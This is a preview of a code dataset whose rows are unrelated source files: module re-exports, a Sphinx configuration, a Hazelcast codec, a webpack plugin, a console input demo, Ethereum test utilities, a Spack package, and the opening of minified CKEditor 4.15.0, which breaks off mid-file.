text
stringlengths 3
1.05M
|
---|
export * from './injectStore'
export * from './initStore'
export * from './Store'
export * from './connect'
export * from './dependent'
|
# This file only contains a selection of the most common options. For a full list see the
# documentation:
# http://www.sphinx-doc.org/en/master/config
project = 'Ansible collections'
copyright = 'Ansible contributors'
title = 'Ansible Collections Documentation'
html_short_title = 'Ansible Collections Documentation'
extensions = ['sphinx.ext.autodoc', 'sphinx.ext.intersphinx', 'sphinx_antsibull_ext']
pygments_style = 'ansible'
highlight_language = 'YAML+Jinja'
html_static_path = ['_static']
html_theme = 'sphinx_rtd_theme'
html_show_sphinx = False
html_css_files = [
'ansible.css',
]
display_version = False
html_use_smartypants = True
html_use_modindex = False
html_use_index = False
html_copy_source = False
default_role = 'any'
nitpicky = True
|
"use strict";
/*
* Copyright (c) 2008-2018, Hazelcast, Inc. All Rights Reserved.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
Object.defineProperty(exports, "__esModule", { value: true });
/* tslint:disable */
var ClientMessage = require("../ClientMessage");
var BitsUtil_1 = require("../BitsUtil");
var MapMessageType_1 = require("./MapMessageType");
var REQUEST_TYPE = MapMessageType_1.MapMessageType.MAP_SIZE;
var RESPONSE_TYPE = 102;
var RETRYABLE = true;
var MapSizeCodec = /** @class */ (function () {
function MapSizeCodec() {
}
MapSizeCodec.calculateSize = function (name) {
// Calculates the request payload size
var dataSize = 0;
dataSize += BitsUtil_1.BitsUtil.calculateSizeString(name);
return dataSize;
};
MapSizeCodec.encodeRequest = function (name) {
// Encode request into clientMessage
var clientMessage = ClientMessage.newClientMessage(this.calculateSize(name));
clientMessage.setMessageType(REQUEST_TYPE);
clientMessage.setRetryable(RETRYABLE);
clientMessage.appendString(name);
clientMessage.updateFrameLength();
return clientMessage;
};
MapSizeCodec.decodeResponse = function (clientMessage, toObjectFunction) {
if (toObjectFunction === void 0) { toObjectFunction = null; }
// Decode response from client message
var parameters = {
'response': null
};
parameters['response'] = clientMessage.readInt32();
return parameters;
};
return MapSizeCodec;
}());
exports.MapSizeCodec = MapSizeCodec;
//# sourceMappingURL=MapSizeCodec.js.map |
/*
MIT License http://www.opensource.org/licenses/mit-license.php
Author Tobias Koppers @sokra
*/
"use strict";
/** @typedef {import("../Compiler")} Compiler */
class AddBuildDependenciesPlugin {
/**
* @param {Iterable<string>} buildDependencies list of build dependencies
*/
constructor(buildDependencies) {
this.buildDependencies = new Set(buildDependencies);
}
/**
* Apply the plugin
* @param {Compiler} compiler the compiler instance
* @returns {void}
*/
apply(compiler) {
compiler.hooks.compilation.tap(
"AddBuildDependenciesPlugin",
(compilation) => {
compilation.buildDependencies.addAll(this.buildDependencies);
},
);
}
}
module.exports = AddBuildDependenciesPlugin;
|
// must install readline-sync package via npm
// https://www.npmjs.com/package/readline-sync
// on terminal: $ npm i readline-sync
const readline = require('readline-sync');
var name = readline.question('May I have your name? ');
console.log('Hi there ' + name + '!');
var num1 = readline.question("Enter a number between 1 and 20: ");
console.log("Type of num1 is %s", typeof(num1));
var num2 = Number(num1) ** 2;
console.log("Squared of %s = %s", num1, num2);
if (readline.keyInYN('Do you want this module?')) {
// 'Y' key was pressed.
console.log('Installing now...');
// Do something...
} else {
// Another key was pressed.
console.log('Searching another...');
// Do something...
}
animals = ['Lion', 'Elephant', 'Crocodile', 'Giraffe', 'Hippo'];
index = readline.keyInSelect(animals, 'Which animal?');
//console.log(index)
if (index === -1)
console.log('Cancelling...')
else
console.log('Ok, ' + animals[index] + ' goes to your room.');
|
const Assert = require('assert');
const BN = require('bn.js');
const web3 = require('./web3.js');
function Utils() {}
function assertExpectedMessage(message, error) {
if (message !== undefined) {
assert(
error.message.search(message) > -1,
`The contract was expected to error including "${message}", but instead: "${
error.message
}"`,
);
}
}
Utils.prototype = {
AccountProvider: class AccountProvider {
constructor(accounts) {
this.accounts = accounts;
this.index = 0;
}
get() {
assert(this.index < this.accounts.length);
const account = this.accounts[this.index];
this.index += 1;
return account;
}
},
expectRevert: async (promise, expectedMessage) => {
try {
await promise;
} catch (error) {
assert(
error.message.search('revert') > -1,
`The contract should revert. Instead: ${error.message}`,
);
assertExpectedMessage(expectedMessage, error);
return;
}
assert(false, `Did not revert with expected error message: ${expectedMessage}`);
},
ZERO_BYTES32:
'0x0000000000000000000000000000000000000000000000000000000000000000',
ZERO_BYTES20:
'0x0000000000000000000000000000000000000000',
NULL_ADDRESS: '0x0000000000000000000000000000000000000000',
SENTINEL_ADDRESS: '0x0000000000000000000000000000000000000001',
MAX_UINT256: new BN(
'115792089237316195423570985008687907853269984665640564039457584007913129639935',
),
};
module.exports = new Utils();
|
# Copyright 2013-2021 Lawrence Livermore National Security, LLC and other
# Spack Project Developers. See the top-level COPYRIGHT file for details.
#
# SPDX-License-Identifier: (Apache-2.0 OR MIT)
class PyExtension3(Package):
"""Package with a dependency whose presence is conditional to the
version of Python being used.
"""
homepage = "http://www.example.com"
url = "http://www.example.com/extension3-1.0.tar.gz"
depends_on("python")
depends_on('py-extension1', type=('build', 'run'), when='^python@:2.8.0')
depends_on('[email protected]', when='@1.0:1.1 ^python@:2')
depends_on('[email protected]', when='@1.0:1.1 ^python@3:')
version('2.0', '00000000000000000000000000000320')
version('1.1', '00000000000000000000000000000311')
version('1.0', '00000000000000000000000000000310')
|
/*
Copyright (c) 2003-2020, CKSource - Frederico Knabben. All rights reserved.
For licensing, see LICENSE.md or https://ckeditor.com/legal/ckeditor-oss-license
*/
(function(){if(!window.CKEDITOR||!window.CKEDITOR.dom){window.CKEDITOR||(window.CKEDITOR=function(){var a=/(^|.*[\\\/])ckeditor\.js(?:\?.*|;.*)?$/i,f={timestamp:"K87C",version:"4.15.0 (Standard)",revision:"a786d6f43",rnd:Math.floor(900*Math.random())+100,_:{pending:[],basePathSrcPattern:a},status:"unloaded",basePath:function(){var b=window.CKEDITOR_BASEPATH||"";if(!b)for(var e=document.getElementsByTagName("script"),f=0;f<e.length;f++){var l=e[f].src.match(a);if(l){b=l[1];break}}-1==b.indexOf(":/")&&
"//"!=b.slice(0,2)&&(b=0===b.indexOf("/")?location.href.match(/^.*?:\/\/[^\/]*/)[0]+b:location.href.match(/^[^\?]*\/(?:)/)[0]+b);if(!b)throw'The CKEditor installation path could not be automatically detected. Please set the global variable "CKEDITOR_BASEPATH" before creating editor instances.';return b}(),getUrl:function(a){-1==a.indexOf(":/")&&0!==a.indexOf("/")&&(a=this.basePath+a);this.timestamp&&"/"!=a.charAt(a.length-1)&&!/[&?]t=/.test(a)&&(a+=(0<=a.indexOf("?")?"\x26":"?")+"t\x3d"+this.timestamp);
return a},domReady:function(){function a(){try{document.addEventListener?(document.removeEventListener("DOMContentLoaded",a,!1),b()):document.attachEvent&&"complete"===document.readyState&&(document.detachEvent("onreadystatechange",a),b())}catch(e){}}function b(){for(var a;a=e.shift();)a()}var e=[];return function(b){function d(){try{document.documentElement.doScroll("left")}catch(g){setTimeout(d,1);return}a()}e.push(b);"complete"===document.readyState&&setTimeout(a,1);if(1==e.length)if(document.addEventListener)document.addEventListener("DOMContentLoaded",
a,!1),window.addEventListener("load",a,!1);else if(document.attachEvent){document.attachEvent("onreadystatechange",a);window.attachEvent("onload",a);b=!1;try{b=!window.frameElement}catch(k){}document.documentElement.doScroll&&b&&d()}}}()},e=window.CKEDITOR_GETURL;if(e){var b=f.getUrl;f.getUrl=function(a){return e.call(f,a)||b.call(f,a)}}return f}());CKEDITOR.event||(CKEDITOR.event=function(){},CKEDITOR.event.implementOn=function(a){var f=CKEDITOR.event.prototype,e;for(e in f)null==a[e]&&(a[e]=f[e])},
CKEDITOR.event.prototype=function(){function a(a){var c=f(this);return c[a]||(c[a]=new e(a))}var f=function(a){a=a.getPrivate&&a.getPrivate()||a._||(a._={});return a.events||(a.events={})},e=function(a){this.name=a;this.listeners=[]};e.prototype={getListenerIndex:function(a){for(var c=0,e=this.listeners;c<e.length;c++)if(e[c].fn==a)return c;return-1}};return{define:function(b,c){var e=a.call(this,b);CKEDITOR.tools.extend(e,c,!0)},on:function(b,c,e,f,l){function d(a,n,g,d){a={name:b,sender:this,editor:a,
data:n,listenerData:f,stop:g,cancel:d,removeListener:k};return!1===c.call(e,a)?!1:a.data}function k(){n.removeListener(b,c)}var g=a.call(this,b);if(0>g.getListenerIndex(c)){g=g.listeners;e||(e=this);isNaN(l)&&(l=10);var n=this;d.fn=c;d.priority=l;for(var r=g.length-1;0<=r;r--)if(g[r].priority<=l)return g.splice(r+1,0,d),{removeListener:k};g.unshift(d)}return{removeListener:k}},once:function(){var a=Array.prototype.slice.call(arguments),c=a[1];a[1]=function(a){a.removeListener();return c.apply(this,
arguments)};return this.on.apply(this,a)},capture:function(){CKEDITOR.event.useCapture=1;var a=this.on.apply(this,arguments);CKEDITOR.event.useCapture=0;return a},fire:function(){var a=0,c=function(){a=1},e=0,h=function(){e=1};return function(l,d,k){var g=f(this)[l];l=a;var n=e;a=e=0;if(g){var r=g.listeners;if(r.length)for(var r=r.slice(0),w,q=0;q<r.length;q++){if(g.errorProof)try{w=r[q].call(this,k,d,c,h)}catch(p){}else w=r[q].call(this,k,d,c,h);!1===w?e=1:"undefined"!=typeof w&&(d=w);if(a||e)break}}d=
e?!1:"undefined"==typeof d?!0:d;a=l;e=n;return d}}(),fireOnce:function(a,c,e){c=this.fire(a,c,e);delete f(this)[a];return c},removeListener:function(a,c){var e=f(this)[a];if(e){var h=e.getListenerIndex(c);0<=h&&e.listeners.splice(h,1)}},removeAllListeners:function(){var a=f(this),c;for(c in a)delete a[c]},hasListeners:function(a){return(a=f(this)[a])&&0<a.listeners.length}}}());CKEDITOR.editor||(CKEDITOR.editor=function(){CKEDITOR._.pending.push([this,arguments]);CKEDITOR.event.call(this)},CKEDITOR.editor.prototype.fire=
function(a,f){a in{instanceReady:1,loaded:1}&&(this[a]=!0);return CKEDITOR.event.prototype.fire.call(this,a,f,this)},CKEDITOR.editor.prototype.fireOnce=function(a,f){a in{instanceReady:1,loaded:1}&&(this[a]=!0);return CKEDITOR.event.prototype.fireOnce.call(this,a,f,this)},CKEDITOR.event.implementOn(CKEDITOR.editor.prototype));CKEDITOR.env||(CKEDITOR.env=function(){var a=navigator.userAgent.toLowerCase(),f=a.match(/edge[ \/](\d+.?\d*)/),e=-1<a.indexOf("trident/"),e=!(!f&&!e),e={ie:e,edge:!!f,webkit:!e&&
-1<a.indexOf(" applewebkit/"),air:-1<a.indexOf(" adobeair/"),mac:-1<a.indexOf("macintosh"),quirks:"BackCompat"==document.compatMode&&(!document.documentMode||10>document.documentMode),mobile:-1<a.indexOf("mobile"),iOS:/(ipad|iphone|ipod)/.test(a),isCustomDomain:function(){if(!this.ie)return!1;var a=document.domain,b=window.location.hostname;return a!=b&&a!="["+b+"]"},secure:"https:"==location.protocol};e.gecko="Gecko"==navigator.product&&!e.webkit&&!e.ie;e.webkit&&(-1<a.indexOf("chrome")?e.chrome=
!0:e.safari=!0);var b=0;e.ie&&(b=f?parseFloat(f[1]):e.quirks||!document.documentMode?parseFloat(a.match(/msie (\d+)/)[1]):document.documentMode,e.ie9Compat=9==b,e.ie8Compat=8==b,e.ie7Compat=7==b,e.ie6Compat=7>b||e.quirks);e.gecko&&(f=a.match(/rv:([\d\.]+)/))&&(f=f[1].split("."),b=1E4*f[0]+100*(f[1]||0)+1*(f[2]||0));e.air&&(b=parseFloat(a.match(/ adobeair\/(\d+)/)[1]));e.webkit&&(b=parseFloat(a.match(/ applewebkit\/(\d+)/)[1]));e.version=b;e.isCompatible=!(e.ie&&7>b)&&!(e.gecko&&4E4>b)&&!(e.webkit&&
534>b);e.hidpi=2<=window.devicePixelRatio;e.needsBrFiller=e.gecko||e.webkit||e.ie&&10<b;e.needsNbspFiller=e.ie&&11>b;e.cssClass="cke_browser_"+(e.ie?"ie":e.gecko?"gecko":e.webkit?"webkit":"unknown");e.quirks&&(e.cssClass+=" cke_browser_quirks");e.ie&&(e.cssClass+=" cke_browser_ie"+(e.quirks?"6 cke_browser_iequirks":e.version));e.air&&(e.cssClass+=" cke_browser_air");e.iOS&&(e.cssClass+=" cke_browser_ios");e.hidpi&&(e.cssClass+=" cke_hidpi");return e}());"unloaded"==CKEDITOR.status&&function(){CKEDITOR.event.implementOn(CKEDITOR);
CKEDITOR.loadFullCore=function(){if("basic_ready"!=CKEDITOR.status)CKEDITOR.loadFullCore._load=1;else{delete CKEDITOR.loadFullCore;var a=document.createElement("script");a.type="text/javascript";a.src=CKEDITOR.basePath+"ckeditor.js";document.getElementsByTagName("head")[0].appendChild(a)}};CKEDITOR.loadFullCoreTimeout=0;CKEDITOR.add=function(a){(this._.pending||(this._.pending=[])).push(a)};(function(){CKEDITOR.domReady(function(){var a=CKEDITOR.loadFullCore,f=CKEDITOR.loadFullCoreTimeout;a&&(CKEDITOR.status=
"basic_ready",a&&a._load?a():f&&setTimeout(function(){CKEDITOR.loadFullCore&&CKEDITOR.loadFullCore()},1E3*f))})})();CKEDITOR.status="basic_loaded"}();"use strict";CKEDITOR.VERBOSITY_WARN=1;CKEDITOR.VERBOSITY_ERROR=2;CKEDITOR.verbosity=CKEDITOR.VERBOSITY_WARN|CKEDITOR.VERBOSITY_ERROR;CKEDITOR.warn=function(a,f){CKEDITOR.verbosity&CKEDITOR.VERBOSITY_WARN&&CKEDITOR.fire("log",{type:"warn",errorCode:a,additionalData:f})};CKEDITOR.error=function(a,f){CKEDITOR.verbosity&CKEDITOR.VERBOSITY_ERROR&&CKEDITOR.fire("log",
{type:"error",errorCode:a,additionalData:f})};CKEDITOR.on("log",function(a){if(window.console&&window.console.log){var f=console[a.data.type]?a.data.type:"log",e=a.data.errorCode;if(a=a.data.additionalData)console[f]("[CKEDITOR] Error code: "+e+".",a);else console[f]("[CKEDITOR] Error code: "+e+".");console[f]("[CKEDITOR] For more information about this error go to https://ckeditor.com/docs/ckeditor4/latest/guide/dev_errors.html#"+e)}},null,null,999);CKEDITOR.dom={};(function(){function a(a,g,d){this._minInterval=
a;this._context=d;this._lastOutput=this._scheduledTimer=0;this._output=CKEDITOR.tools.bind(g,d||{});var b=this;this.input=function(){function a(){b._lastOutput=(new Date).getTime();b._scheduledTimer=0;b._call()}if(!b._scheduledTimer||!1!==b._reschedule()){var n=(new Date).getTime()-b._lastOutput;n<b._minInterval?b._scheduledTimer=setTimeout(a,b._minInterval-n):a()}}}function f(n,g,d){a.call(this,n,g,d);this._args=[];var b=this;this.input=CKEDITOR.tools.override(this.input,function(a){return function(){b._args=
Array.prototype.slice.call(arguments);a.call(this)}})}var e=[],b=CKEDITOR.env.gecko?"-moz-":CKEDITOR.env.webkit?"-webkit-":CKEDITOR.env.ie?"-ms-":"",c=/&/g,m=/>/g,h=/</g,l=/"/g,d=/&(lt|gt|amp|quot|nbsp|shy|#\d{1,5});/g,k={lt:"\x3c",gt:"\x3e",amp:"\x26",quot:'"',nbsp:" ",shy:""},g=function(a,g){return"#"==g[0]?String.fromCharCode(parseInt(g.slice(1),10)):k[g]};CKEDITOR.on("reset",function(){e=[]});CKEDITOR.tools={arrayCompare:function(a,g){if(!a&&!g)return!0;if(!a||!g||a.length!=g.length)return!1;
for(var d=0;d<a.length;d++)if(a[d]!=g[d])return!1;return!0},getIndex:function(a,g){for(var d=0;d<a.length;++d)if(g(a[d]))return d;return-1},clone:function(a){var g;if(a&&a instanceof Array){g=[];for(var d=0;d<a.length;d++)g[d]=CKEDITOR.tools.clone(a[d]);return g}if(null===a||"object"!=typeof a||a instanceof String||a instanceof Number||a instanceof Boolean||a instanceof Date||a instanceof RegExp||a.nodeType||a.window===a)return a;g=new a.constructor;for(d in a)g[d]=CKEDITOR.tools.clone(a[d]);return g},
capitalize:function(a,g){return a.charAt(0).toUpperCase()+(g?a.slice(1):a.slice(1).toLowerCase())},extend:function(a){var g=arguments.length,d,b;"boolean"==typeof(d=arguments[g-1])?g--:"boolean"==typeof(d=arguments[g-2])&&(b=arguments[g-1],g-=2);for(var c=1;c<g;c++){var e=arguments[c]||{};CKEDITOR.tools.array.forEach(CKEDITOR.tools.object.keys(e),function(g){if(!0===d||null==a[g])if(!b||g in b)a[g]=e[g]})}return a},prototypedCopy:function(a){var g=function(){};g.prototype=a;return new g},copy:function(a){var g=
{},d;for(d in a)g[d]=a[d];return g},isArray:function(a){return"[object Array]"==Object.prototype.toString.call(a)},isEmpty:function(a){for(var g in a)if(a.hasOwnProperty(g))return!1;return!0},cssVendorPrefix:function(a,g,d){if(d)return b+a+":"+g+";"+a+":"+g;d={};d[a]=g;d[b+a]=g;return d},cssStyleToDomStyle:function(){var a=document.createElement("div").style,g="undefined"!=typeof a.cssFloat?"cssFloat":"undefined"!=typeof a.styleFloat?"styleFloat":"float";return function(a){return"float"==a?g:a.replace(/-./g,
function(a){return a.substr(1).toUpperCase()})}}(),buildStyleHtml:function(a){a=[].concat(a);for(var g,d=[],b=0;b<a.length;b++)if(g=a[b])/@import|[{}]/.test(g)?d.push("\x3cstyle\x3e"+g+"\x3c/style\x3e"):d.push('\x3clink type\x3d"text/css" rel\x3dstylesheet href\x3d"'+g+'"\x3e');return d.join("")},htmlEncode:function(a){return void 0===a||null===a?"":String(a).replace(c,"\x26amp;").replace(m,"\x26gt;").replace(h,"\x26lt;")},htmlDecode:function(a){return a.replace(d,g)},htmlEncodeAttr:function(a){return CKEDITOR.tools.htmlEncode(a).replace(l,
"\x26quot;")},htmlDecodeAttr:function(a){return CKEDITOR.tools.htmlDecode(a)},transformPlainTextToHtml:function(a,g){var d=g==CKEDITOR.ENTER_BR,b=this.htmlEncode(a.replace(/\r\n/g,"\n")),b=b.replace(/\t/g,"\x26nbsp;\x26nbsp; \x26nbsp;"),c=g==CKEDITOR.ENTER_P?"p":"div";if(!d){var e=/\n{2}/g;if(e.test(b))var k="\x3c"+c+"\x3e",l="\x3c/"+c+"\x3e",b=k+b.replace(e,function(){return l+k})+l}b=b.replace(/\n/g,"\x3cbr\x3e");d||(b=b.replace(new RegExp("\x3cbr\x3e(?\x3d\x3c/"+c+"\x3e)"),function(a){return CKEDITOR.tools.repeat(a,
2)}));b=b.replace(/^ | $/g,"\x26nbsp;");return b=b.replace(/(>|\s) /g,function(a,g){return g+"\x26nbsp;"}).replace(/ (?=<)/g,"\x26nbsp;")},getNextNumber:function(){var a=0;return function(){return++a}}(),getNextId:function(){return"cke_"+this.getNextNumber()},getUniqueId:function(){for(var a="e",g=0;8>g;g++)a+=Math.floor(65536*(1+Math.random())).toString(16).substring(1);return a},override:function(a,g){var d=g(a);d.prototype=a.prototype;return d},setTimeout:function(a,g,d,b,c){c||(c=window);d||(d=
c);return c.setTimeout(function(){b?a.apply(d,[].concat(b)):a.apply(d)},g||0)},throttle:function(a,g,d){return new this.buffers.throttle(a,g,d)},trim:function(){var a=/(?:^[ \t\n\r]+)|(?:[ \t\n\r]+$)/g;return function(g){return g.replace(a,"")}}(),ltrim:function(){var a=/^[ \t\n\r]+/g;return function(g){return g.replace(a,"")}}(),rtrim:function(){var a=/[ \t\n\r]+$/g;return function(g){return g.replace(a,"")}}(),indexOf:function(a,g){if("function"==typeof g)for(var d=0,b=a.length;d<b;d++){if(g(a[d]))return d}else{if(a.indexOf)return a.indexOf(g);
d=0;for(b=a.length;d<b;d++)if(a[d]===g)return d}return-1},search:function(a,g){var d=CKEDITOR.tools.indexOf(a,g);return 0<=d?a[d]:null},bind:function(a,g){var d=Array.prototype.slice.call(arguments,2);return function(){return a.apply(g,d.concat(Array.prototype.slice.call(arguments)))}},createClass:function(a){var g=a.$,d=a.base,b=a.privates||a._,c=a.proto;a=a.statics;!g&&(g=function(){d&&this.base.apply(this,arguments)});if(b)var e=g,g=function(){var a=this._||(this._={}),g;for(g in b){var d=b[g];
a[g]="function"==typeof d?CKEDITOR.tools.bind(d,this):d}e.apply(this,arguments)};d&&(g.prototype=this.prototypedCopy(d.prototype),g.prototype.constructor=g,g.base=d,g.baseProto=d.prototype,g.prototype.base=function t(){this.base=d.prototype.base;d.apply(this,arguments);this.base=t});c&&this.extend(g.prototype,c,!0);a&&this.extend(g,a,!0);return g},addFunction:function(a,g){return e.push(function(){return a.apply(g||this,arguments)})-1},removeFunction:function(a){e[a]=null},callFunction:function(a){var g=
e[a];return g&&g.apply(window,Array.prototype.slice.call(arguments,1))},cssLength:function(){var a=/^-?\d+\.?\d*px$/,g;return function(d){g=CKEDITOR.tools.trim(d+"")+"px";return a.test(g)?g:d||""}}(),convertToPx:function(){var a;return function(g){a||(a=CKEDITOR.dom.element.createFromHtml('\x3cdiv style\x3d"position:absolute;left:-9999px;top:-9999px;margin:0px;padding:0px;border:0px;"\x3e\x3c/div\x3e',CKEDITOR.document),CKEDITOR.document.getBody().append(a));if(!/%$/.test(g)){var d=0>parseFloat(g);
d&&(g=g.replace("-",""));a.setStyle("width",g);g=a.$.clientWidth;return d?-g:g}return g}}(),repeat:function(a,g){return Array(g+1).join(a)},tryThese:function(){for(var a,g=0,d=arguments.length;g<d;g++){var b=arguments[g];try{a=b();break}catch(c){}}return a},genKey:function(){return Array.prototype.slice.call(arguments).join("-")},defer:function(a){return function(){var g=arguments,d=this;window.setTimeout(function(){a.apply(d,g)},0)}},normalizeCssText:function(a,g){var d=[],b,c=CKEDITOR.tools.parseCssText(a,
!0,g);for(b in c)d.push(b+":"+c[b]);d.sort();return d.length?d.join(";")+";":""},convertRgbToHex:function(a){return a.replace(/(?:rgb\(\s*(\d+)\s*,\s*(\d+)\s*,\s*(\d+)\s*\))/gi,function(a,g,d,b){a=[g,d,b];for(g=0;3>g;g++)a[g]=("0"+parseInt(a[g],10).toString(16)).slice(-2);return"#"+a.join("")})},normalizeHex:function(a){return a.replace(/#(([0-9a-f]{3}){1,2})($|;|\s+)/gi,function(a,g,d,b){a=g.toLowerCase();3==a.length&&(a=a.split(""),a=[a[0],a[0],a[1],a[1],a[2],a[2]].join(""));return"#"+a+b})},parseCssText:function(a,
g,d){var b={};d&&(a=(new CKEDITOR.dom.element("span")).setAttribute("style",a).getAttribute("style")||"");a&&(a=CKEDITOR.tools.normalizeHex(CKEDITOR.tools.convertRgbToHex(a)));if(!a||";"==a)return b;a.replace(/"/g,'"').replace(/\s*([^:;\s]+)\s*:\s*([^;]+)\s*(?=;|$)/g,function(a,d,n){g&&(d=d.toLowerCase(),"font-family"==d&&(n=n.replace(/\s*,\s*/g,",")),n=CKEDITOR.tools.trim(n));b[d]=n});return b},writeCssText:function(a,g){var d,b=[];for(d in a)b.push(d+":"+a[d]);g&&b.sort();return b.join("; ")},
objectCompare:function(a,g,d){var b;if(!a&&!g)return!0;if(!a||!g)return!1;for(b in a)if(a[b]!=g[b])return!1;if(!d)for(b in g)if(a[b]!=g[b])return!1;return!0},objectKeys:function(a){return CKEDITOR.tools.object.keys(a)},convertArrayToObject:function(a,g){var d={};1==arguments.length&&(g=!0);for(var b=0,c=a.length;b<c;++b)d[a[b]]=g;return d},getStyledSpans:function(a,g){var d=CKEDITOR.env.ie&&8==CKEDITOR.env.version?a.toUpperCase():a,d=g.find("span[style*\x3d"+d+"]").toArray();return CKEDITOR.tools.array.filter(d,
function(g){return!!g.getStyle(a)})},fixDomain:function(){for(var a;;)try{a=window.parent.document.domain;break}catch(g){a=a?a.replace(/.+?(?:\.|$)/,""):document.domain;if(!a)break;document.domain=a}return!!a},eventsBuffer:function(a,g,d){return new this.buffers.event(a,g,d)},enableHtml5Elements:function(a,g){for(var d="abbr article aside audio bdi canvas data datalist details figcaption figure footer header hgroup main mark meter nav output progress section summary time video".split(" "),b=d.length,
c;b--;)c=a.createElement(d[b]),g&&a.appendChild(c)},checkIfAnyArrayItemMatches:function(a,g){for(var d=0,b=a.length;d<b;++d)if(a[d].match(g))return!0;return!1},checkIfAnyObjectPropertyMatches:function(a,g){for(var d in a)if(d.match(g))return!0;return!1},keystrokeToString:function(a,g){var d=this.keystrokeToArray(a,g);d.display=d.display.join("+");d.aria=d.aria.join("+");return d},keystrokeToArray:function(a,g){var d=g&16711680,b=g&65535,c=CKEDITOR.env.mac,e=[],k=[];d&CKEDITOR.CTRL&&(e.push(c?"⌘":
a[17]),k.push(c?a[224]:a[17]));d&CKEDITOR.ALT&&(e.push(c?"⌥":a[18]),k.push(a[18]));d&CKEDITOR.SHIFT&&(e.push(c?"⇧":a[16]),k.push(a[16]));b&&(a[b]?(e.push(a[b]),k.push(a[b])):(e.push(String.fromCharCode(b)),k.push(String.fromCharCode(b))));return{display:e,aria:k}},transparentImageData:"data:image/gif;base64,R0lGODlhAQABAPABAP///wAAACH5BAEKAAAALAAAAAABAAEAAAICRAEAOw\x3d\x3d",getCookie:function(a){a=a.toLowerCase();for(var g=document.cookie.split(";"),d,b,c=0;c<g.length;c++)if(d=g[c].split("\x3d"),
b=decodeURIComponent(CKEDITOR.tools.trim(d[0]).toLowerCase()),b===a)return decodeURIComponent(1<d.length?d[1]:"");return null},setCookie:function(a,g){document.cookie=encodeURIComponent(a)+"\x3d"+encodeURIComponent(g)+";path\x3d/"},getCsrfToken:function(){var a=CKEDITOR.tools.getCookie("ckCsrfToken");if(!a||40!=a.length){var a=[],g="";if(window.crypto&&window.crypto.getRandomValues)a=new Uint8Array(40),window.crypto.getRandomValues(a);else for(var d=0;40>d;d++)a.push(Math.floor(256*Math.random()));
for(d=0;d<a.length;d++)var b="abcdefghijklmnopqrstuvwxyz0123456789".charAt(a[d]%36),g=g+(.5<Math.random()?b.toUpperCase():b);a=g;CKEDITOR.tools.setCookie("ckCsrfToken",a)}return a},escapeCss:function(a){return a?window.CSS&&CSS.escape?CSS.escape(a):isNaN(parseInt(a.charAt(0),10))?a:"\\3"+a.charAt(0)+" "+a.substring(1,a.length):""},getMouseButton:function(a){return(a=a&&a.data?a.data.$:a)?CKEDITOR.tools.normalizeMouseButton(a.button):!1},normalizeMouseButton:function(a,g){if(!CKEDITOR.env.ie||9<=CKEDITOR.env.version&&
!CKEDITOR.env.ie6Compat)return a;for(var d=[[CKEDITOR.MOUSE_BUTTON_LEFT,1],[CKEDITOR.MOUSE_BUTTON_MIDDLE,4],[CKEDITOR.MOUSE_BUTTON_RIGHT,2]],b=0;b<d.length;b++){var c=d[b];if(c[0]===a&&g)return c[1];if(!g&&c[1]===a)return c[0]}},convertHexStringToBytes:function(a){var g=[],d=a.length/2,b;for(b=0;b<d;b++)g.push(parseInt(a.substr(2*b,2),16));return g},convertBytesToBase64:function(a){var g="",d=a.length,b;for(b=0;b<d;b+=3){var c=a.slice(b,b+3),e=c.length,k=[],l;if(3>e)for(l=e;3>l;l++)c[l]=0;k[0]=(c[0]&
252)>>2;k[1]=(c[0]&3)<<4|c[1]>>4;k[2]=(c[1]&15)<<2|(c[2]&192)>>6;k[3]=c[2]&63;for(l=0;4>l;l++)g=l<=e?g+"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".charAt(k[l]):g+"\x3d"}return g},style:{parse:{_colors:{aliceblue:"#F0F8FF",antiquewhite:"#FAEBD7",aqua:"#00FFFF",aquamarine:"#7FFFD4",azure:"#F0FFFF",beige:"#F5F5DC",bisque:"#FFE4C4",black:"#000000",blanchedalmond:"#FFEBCD",blue:"#0000FF",blueviolet:"#8A2BE2",brown:"#A52A2A",burlywood:"#DEB887",cadetblue:"#5F9EA0",chartreuse:"#7FFF00",
chocolate:"#D2691E",coral:"#FF7F50",cornflowerblue:"#6495ED",cornsilk:"#FFF8DC",crimson:"#DC143C",cyan:"#00FFFF",darkblue:"#00008B",darkcyan:"#008B8B",darkgoldenrod:"#B8860B",darkgray:"#A9A9A9",darkgreen:"#006400",darkgrey:"#A9A9A9",darkkhaki:"#BDB76B",darkmagenta:"#8B008B",darkolivegreen:"#556B2F",darkorange:"#FF8C00",darkorchid:"#9932CC",darkred:"#8B0000",darksalmon:"#E9967A",darkseagreen:"#8FBC8F",darkslateblue:"#483D8B",darkslategray:"#2F4F4F",darkslategrey:"#2F4F4F",darkturquoise:"#00CED1",darkviolet:"#9400D3",
deeppink:"#FF1493",deepskyblue:"#00BFFF",dimgray:"#696969",dimgrey:"#696969",dodgerblue:"#1E90FF",firebrick:"#B22222",floralwhite:"#FFFAF0",forestgreen:"#228B22",fuchsia:"#FF00FF",gainsboro:"#DCDCDC",ghostwhite:"#F8F8FF",gold:"#FFD700",goldenrod:"#DAA520",gray:"#808080",green:"#008000",greenyellow:"#ADFF2F",grey:"#808080",honeydew:"#F0FFF0",hotpink:"#FF69B4",indianred:"#CD5C5C",indigo:"#4B0082",ivory:"#FFFFF0",khaki:"#F0E68C",lavender:"#E6E6FA",lavenderblush:"#FFF0F5",lawngreen:"#7CFC00",lemonchiffon:"#FFFACD",
lightblue:"#ADD8E6",lightcoral:"#F08080",lightcyan:"#E0FFFF",lightgoldenrodyellow:"#FAFAD2",lightgray:"#D3D3D3",lightgreen:"#90EE90",lightgrey:"#D3D3D3",lightpink:"#FFB6C1",lightsalmon:"#FFA07A",lightseagreen:"#20B2AA",lightskyblue:"#87CEFA",lightslategray:"#778899",lightslategrey:"#778899",lightsteelblue:"#B0C4DE",lightyellow:"#FFFFE0",lime:"#00FF00",limegreen:"#32CD32",linen:"#FAF0E6",magenta:"#FF00FF",maroon:"#800000",mediumaquamarine:"#66CDAA",mediumblue:"#0000CD",mediumorchid:"#BA55D3",mediumpurple:"#9370DB",
